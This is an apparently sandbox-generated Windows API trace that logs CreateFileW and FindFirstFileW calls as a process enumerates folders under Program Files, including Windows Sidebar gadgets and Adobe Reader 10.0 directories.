	[0053.827] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.827] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.827] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.829] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.830] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.834] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.836] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.841] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.843] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.843] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.845] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.848] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.856] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.862] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.916] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files\\windows sidebar\\shared gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.916] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US" (normalized: "c:\\program files\\windows sidebar\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.918] CreateFileW (lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.918] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x127d3a44 | out: lpFindFileData=0x127d3a44*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe" (normalized: "c:\\program files (x86)\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.918] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf40b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf40b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.919] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.919] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.922] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.937] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.938] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.941] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.955] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.968] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.973] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.973] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.974] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
